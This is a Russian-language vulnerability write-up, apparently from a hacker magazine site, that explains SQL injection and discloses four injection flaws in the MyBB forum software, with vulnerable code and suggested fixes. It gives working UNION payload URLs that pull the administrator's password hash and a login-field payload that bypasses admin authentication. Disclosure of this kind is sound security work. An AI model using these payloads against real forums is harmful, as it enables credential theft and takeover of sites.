![]() |
![]() |
|||
|
![]() |
![]() |
||
![]() |
||||
![]() |
Сейчас существует множество форумов, которые распространяются как бесплатно, так и за деньги. Насколько мне известно, самые популярные из них, это phpBB, Invision Power Board, PHP-Nuke, и MyBB, о котором и пойдёт речь.
MyBB, или MyBulletinBoard - это мощный, эффективный и бесплатно распространяемый форум, разработанный на PHP и работающий с использованием MySQL сервера. Полный контроль над вашим форумом на кончиках ваших пальцев, от множества стилей и тем до полного изменения внешнего вида форумов с помощью системы шаблонов. (Переведённая часть описания с оффициального сайта) От себя могу добавить, что этот форум пока ещё достаточно молодой.
Итак. Мне достаточно часто приходилось видеть в обзорах уязвимостей об атаке, названной SQL-инъекцией. Такой тип атак уже достаточно широко известен, но я всё таки опишу, что же он из себя представляет. Многим сценариям(далее скриптам) приходится общаться с базой данных, выбирая оттуда какую-либо информацию, либо сохраняя её. А общаться ему приходится с помощью структурированнаго языка запросов(Structured Query Language или просто SQL), т.к. именно он зарекомендовал себя как простой и эффективный язык запросов к базам данных. Выбирает информацию из базы скрипт чаще всего либо для проверки с какими-либо значениями, либо для вывода этой информации пользователю. Теперь представим, что пользователь должен ввести значение в поле ввода, а скрипт должен найти, скажем, показать пользователю имя и страну участника под тем номером, который ввёл пользователь. Но если то, что ввёл пользователь никак не проверяется перед SQL-запросом, то пользователь может ввести в поле ввода апостроф, что приведёт к неправильному запросу, т.к. апостроф в языке SQL служит ограничителем данных(например символьных). Поясню на примере: пользователь ввёл 13, запрос выглядит так:
[SELECT name, country FROM people WHERE num='13']
И скрипт выведет пользователю имя и страну участника с номером 13, например:
~~~~~~~~~~~~~~~~~~~~~~~ # ИМЯ # СТРАНА # #~~~~~~~~~#~~~~~~~~~~~# # Вася # Зимбабве # #~~~~~~~~~#~~~~~~~~~~~#
Теперь предположим, что пользователь ввёл апостроф, запрос будет таким:
[SELECT name, country FROM people WHERE num=''']
причём введённый пользователем апостроф находится между двумя другими, т.к. закрывающий апостроф ставит скрипт. В результате SQL сервер выдаст ошибку, т.к. появился незакрытый апостроф. Теперь обдумав всё пользователь хочет получить то, что Вася хранит в секрете. Предположим это будет номер кредитной карты, и хранится в таблице people он будет под названием ccnumber. Злой пользователь может теперь сформировать в поле ввода вот такой текст:
[0' UNION SELECT name, ccnumber FROM people WHERE num='13](UNION используется для "склейки" нескольких SELECT запросов)
В результате итоговый, сформированный скриптом запрос будет выглядеть так:
[SELECT name, country FROM people WHERE num='0' UNION SELECT name, ccnumber FROM people WHERE num='13']
Учитывая то, что участника с номером 0 нет в таблице, первый SELECT ничего не выведет, зато второй выполнится вполне неплохо, и скрипт выдаст следующее:
~~~~~~~~~~~~~~~~~~~~~~~ # ИМЯ # СТРАНА # #~~~~~~~~~#~~~~~~~~~~~# # Вася # 6661313 # #~~~~~~~~~#~~~~~~~~~~~#
Вместо страны в соответствующем поле пользователь получит то, что и хотел.
То есть SQL-инъекция заключается в том, чтобы ввести в запрос свой код, чтобы получить информацию, которая тебя интересует.
Итак, возвращаясь к MyBB скажу, что этот форум не исключение и он тоже работает с SQL. Забегая немного вперёд процитирую своего друга, говорящего о MyBB: "хоть куда вставь лишний апостроф, получится ошибка". И это действительно так :).
Почему я выбрал именно MyBB? Наверное потому, что он единственный был у меня последней версии, а phpBB и IPB были не самые свежие. После успешной "инсталляции" форума и создания парочки пользователей я не стал упорно копаться в коде, а решил поискать потенциально уязвимые параметры. Чаще всего разработчики таких вот скриптов забывают фильтровать значения, которые должны быть числовыми, и я начал искать таковые. Первым делом ткнул на "Help", т.к. там чаще всего бывает число, определяющее идентификатор(номер) раздела помощи. Так оно и оказалось, в качестве номера раздела принимался параметр "hid":
[http://localhost/mybb/misc.php?action=help&hid=2] <-- это строка адреса в браузере
Первым делом я просто поставил апостроф в конце, те [...&hid=2'], и увидел ошибку MySQL'а, которая гласила о том же неправильном синтаксисе из-за лишнего апострофа. Конечно же показал и запрос, который хотел выполнить:
[SELECT * FROM mybb_helpdocs WHERE hid='2''] <-- выбор всех полей из таблицы mybb_helpdocs
Нужно было только посмотреть какие из выбранных полей скрипт выводит на экран, а затем сформировать UNION запрос так, чтобы на месте выводимых данных оказалось то, что мне нужно увидеть(в данном случае это хеш админского пароля). Так как админ там по умолчанию имеет uid=1 и учитывая, что раздела помощи с номером 0 не существует, пишу в браузер:
[http://localhost/mybb/misc.php?action=help&hid=0' UNION SELECT uid,uid, password,null,null,null FROM mybb_users WHERE uid='1]
Теперь вместо заголовка раздела справки на экран выводится хеш админского пароля.
Сначала я подумал, что это очень хорошо - найти ТАКУЮ уязвимость в известном форуме, поэтому стал разбираться с админской панелью. Тогда я ещё и не думал, что это ещё не конец. Блуждая по той самой панели администратора(далее ПА) наткнулся на функцию "Послать e-mail" и решил посмотреть на неё поближе. Ткнул на кнопку и в панели адреса появилось следующее:
[http://localhost/mybb/member.php?action=emailuser&uid=3]
Как видно, параметр uid определяет пользователя, которому пишешь письмо. Нужно быть зарегистрированным пользователем, чтобы можно было использовать эту функцию. Снова вставил в конец апостроф и получил ошибку MySQL'а. Здесь запрос был гораздо проще: выбиралось всего два поля, из которых одно выводилось на экран, так что код для инъекции было составить ещё легче. В итоге в браузер пошла строка:
[http://localhost/mybb/member.php?action=emailuser&uid=0' UNION SELECT password, null FROM mybb_users WHERE uid='1]
И вместо имени пользователя, которому я захотел отправить письмо, появился хеш админского пароля. Недолго думая была произведена та же операция и с функцией "Послать Private Message", т.к. она похожа по действиям на предыдущую. Запрос там оказался ещё проще: выбирался всего один параметр - имя пользователя. В браузер:
[http://localhost/mybb/private.php?action=send&uid=0' UNION SELECT password FROM mybb_users WHERE uid='1]
Результат тот же, что и в прошлой уязвимости.
Но... ещё после обнаружения первой дыры я заметил, что просто так даже имея кукис с админским хешем и идентификатором меня не пускают в ПА. Позже я, конечно, выяснил, что нужно ещё немного подредактировать кукис, но тогда это было невесело, т.к. полученные приимущества меня не устраивали без ПА. Поэтому я стал копать в этом направлении. Набрал в бровзере [http://localhost/mybb/admin/] и попал в форму авторизации. Первое, что захотелось сделать - так это ткнуть в поле "Логин" апостроф(в поле "Пароль" он бы не принёс должного результата, т.к. перед запросом введённый пароль шифруется MD5). Поставил апостроф в "Логин" и даванул enter. Снова MySQL сказал, что ему запрос не понравился :). Это уже давало шансы. Запрос выглядел так:
[SELECT username, uid, password, usergroup FROM mybb_users WHERE username=''' AND password='d41d8cd98f00b204e9800998ecf8427e']
32 символа после слова password - это как раз и есть то, что я ввёл в поле "Пароль", только зашифрованное MD5. Это уже посложнее, ведь за введённым нами кодом всегда будет следовать конец запроса, т.е. " AND password='blabla'". Сначала я даже расстроился, но тут же вспомнил, что в любом языке AND выполняется раньше, чем OR, а значит запрос пароля(да и имени тоже :) ) можно обойти, сформировав такой запрос, который в одном из операндов выражения OR вернёт истину(aka 1 aka true). В итоге получился вот такой запрос, который я и ввёл в поле "Логин":
[' UNION SELECT username, uid, password, usergroup FROM mybb_users WHERE uid=1 OR uid='1]
Полный запрос уже к базе получился таким:
[SELECT username, uid, password, usergroup FROM mybb_users WHERE username='' UNION SELECT username, uid, password, usergroup FROM mybb_users WHERE uid=1 OR uid='1' AND password='d41d8cd98f00b204e9800998ecf8427e']
Фактически я заставил его выбирать пользователя не по его имени и паролю, а только по идентификатору. Мне было всё равно, что вернёт то, что после AND, самое главное в таблице всегда есть uid, равный 1, значит такой запрос вернёт одного пользователя(админа). И после такого запроса форум сразу же впустил меня в ПА, а ведь я не знал ни пароля, ни даже имени админа.
Вот такие вот ошибки бывают даже в известных форумах (хотя это неоднократно уже доказывали все из перечисленных мной форумов). А теперь приведу ту же цитату, но только полностью: "хоть куда вставь лишний апостроф - получится ошибка, потом вставляешь подготовленный запрос и получаешь админский хеш".
Форум написан, честно говоря, не самым лучшим образом, т.к. в большинстве случаев нет никакой проверки на введённые переменные и куда не вставь апостроф...(ну, вы понимаете)
Также соглашусь и с другим мнением друга: "у них абсолютно все скрипты больные,поэтому их даже уже неинтересно ковырять".
Засим откланиваюсь(и иду дальше искать уязвимые форумы 8>...)
Дырки нашёл я aka Animal (cOre@xaker.ru)
Special THX 2 DED MASTDIE (ded_mastdie@programist.ru)
Приложение
MyBB, насколько я знаю, достаточно молодой, но всё же достаточно известный форум. Он базируется на коде PHP с использованием сервера баз данных MySQL и распространяется бесплатно. Конечно же он предоставляет пользователям простоту, но в то же время эффективность использования. Администратору форума тоже предоставляется множество опций и достаточно простое и понятное управление форумом. Это один из лучших форумов на сегодняшний день, но...
Несколько скриптов подвержены SQL-инъекции, при которой неавторизированный пользователь может получить важную информацию из базы данных форума. Например логин и пароль администратора. Также обнаружена возможность входа в Администраторскую контрольную панель (Admin CP), не зная ни имени пользователя администратора, ни его пароля.
Насколько я помню, запрос UNION появился в MySQL только с четвёртой версии, значит при использовании MySQL версии меньше четвёртой эти атаки не принесут никакого результата. Также не будет результата при включенном параметре magic_quotes в файле php.ini.
Далее следуют уязвимости с описанием кода, содержащего ошибку, использования, и их исправления:
Номер 1.
Уязвимый скрипт: misc.php
Уязвимый код:
elseif($action == "help") {[...] $query = $db->query("SELECT * FROM ".TABLE_PREFIX."helpdocs WHERE hid='$hid'"); [...]
Описание: содержимое переменной $hid не фильтруется, значит при обращении к справке можно получить данные из базы путём вставки запроса UNION. Самое главное позаботиться о том, чтобы в $query попал не первый запрос, а именно тот, который вставили мы. Решается это путём введения несуществующего "Help ID".
Использование:
http://target/misc.php?action=help&hid=[несуществующий ID хелпа]' UNION SELECT uid,uid,password,buddylist,ignorelist,style FROM mybb_users WHERE uid='1
Результат: вместо заголовка раздела помощи хеш администраторского пароля.
Исправление: заменить строку в misc.php:
$query = $db->query("SELECT * FROM ".TABLE_PREFIX."helpdocs WHERE hid='$hid'"); на $query = $db->query("SELECT * FROM ".TABLE_PREFIX."helpdocs WHERE hid='".intval($hid)."'");
Номер 2.
Уязвимый скрипт: member.php
Уязвимый код:
elseif($action == "emailuser") { [...] if($uid) { $query = $db->query("SELECT username, hideemail FROM ".TABLE_PREFIX."users WHERE uid='$uid'"); [...]
Описание: содержимое переменной $uid не фильтруется. Снова UNION и получение произвольных данных. !!! Чтобы использовать эту уязвимость нужно быть зарегистрированным и вошедшим пользователем. !!!
Использование:
http://target/member.php?action=emailuser&uid=[несуществующий юзер]' UNION SELECT password,hideemail FROM mybb_users WHERE uid='1
Результат: вместо имени пользователя в поле ввода будет хеш администраторского пароля.
Исправление: заменить строку в member.php:
$query = $db->query("SELECT username, hideemail FROM ".TABLE_PREFIX. "users WHERE uid='$uid'"); на $query = $db->query("SELECT username, hideemail FROM ".TABLE_PREFIX. "users WHERE uid='".intval($uid)."'");
Номер 3.
Уязвимый скрипт: private.php
Уязвимый код:
if($action == "send") { [...] if($uid && !$preview) { $query = $db->query("SELECT username FROM ".TABLE_PREFIX."users WHERE uid='$uid'"); [...]
Описание: содержимое переменной $uid не фильтруется и возможно получение произвольных данных из базы также, как и в прошлом случае. Снова нужно быть зарегистрированным и вошедшим пользователем.
Использование:
http://target/private.php?action=send&uid=[несуществующий юзер]' UNION SELECT password FROM mybb_users WHERE uid='1
Результат: как и в прошлом случае вместо логина пользователя в поле ввода будет выведен хеш администраторского пароля.
Исправление: всё тот же intval();. Заменить строку в private.php:
$query = $db->query("SELECT username FROM ".TABLE_PREFIX."users WHERE uid='$uid'"); на $query = $db->query("SELECT username FROM ".TABLE_PREFIX."users WHERE uid='".intval($uid)."'");
Номер 4. Обход ввода правильного пароля при входе в панель администратора
Уязвимый скрипт: admin/global.php
Уязвимый код: if($do == "login") { $md5pw = md5($password); $query = $db->query("SELECT username, uid, password, usergroup FROM ".TABLE_PREFIX."users WHERE username='$username' AND password='$md5pw'"); [...]
Описание: Этот фрагмент кода получает управление при попытке пользователя зайти в панель администратора (ПА) вводя логин и пароль. Как видно из кода, мы не сможем вставить код в поле Password, т.к. он всё равно зашифруется MD5. Но остаётся возможность вставить свой код в поле username. Единственной проблемой является то, что конец запроса при этом остаётся, т.е. после нашего кода будет ещё:
[Начало запроса+наш код]' AND password='$md5pw'
Вспоминая, что в любом языке AND выполняется всегда до OR, можно подставить в конец нашего кода OR с каким-нибудь ненужным параметром, и получить, к примеру:
[Начало запроса+наш код] OR uid='1' AND password='$md5pw'
Следовательно то, что стоит после OR, даст в результат 0(false). Но то, что перед OR, т.е. наш запрос, даст 1(true) Скрипт обработает полученные данные и впустит нас вовнутрь.
Использование: сначала идём на http://target/admin/ , затем в поле ввода имени пользователя вводим:
[несущ. имя юзера]' UNION SELECT username,uid,password,usergroup FROM mybb_users WHERE uid=1 OR uid='1пароль можно оставить пустым, он не понадобится.
Информация: в более ранних версиях форума, чем 1.00 RC4 количество параметров в запросе может меняться, но их всё равно легко выяснить, поставив в UserName один апостроф.
Результат: вход в ПА.
Исправление: Заменить строку в файле admin/global.php:
$query = $db->query("SELECT username, uid, password, usergroup FROM ".TABLE_PREFIX."users WHERE username='$username' AND password='$md5pw'"); на $query = $db->query("SELECT username, uid, password, usergroup FROM ".TABLE_PREFIX."users WHERE username='".str_replace("'","",$username)."' AND password='$md5pw'");
Для нахождения потенциально уязвимых мест использовался только бровзер. Для испытания аналогичных SQL запросов, но с инъекцией, использовался phpMyAdmin - хорошая вешь. После успешного результата в phpMA инъекция производилась в браузер.
На самом деле подвержены SQL-инъекции не только те скрипты, которые я
описал, а почти все. Просто только в этих я нашёл возможность
получать произвольные данные.
Greet 2 DED_MASTDIE (ded_mastdie@programist.ru)
VulnZ Found by Animal (cOre@xaker.ru)
обсудить | все отзывы (0) | |
[57041; 27; 8.66] |
|
|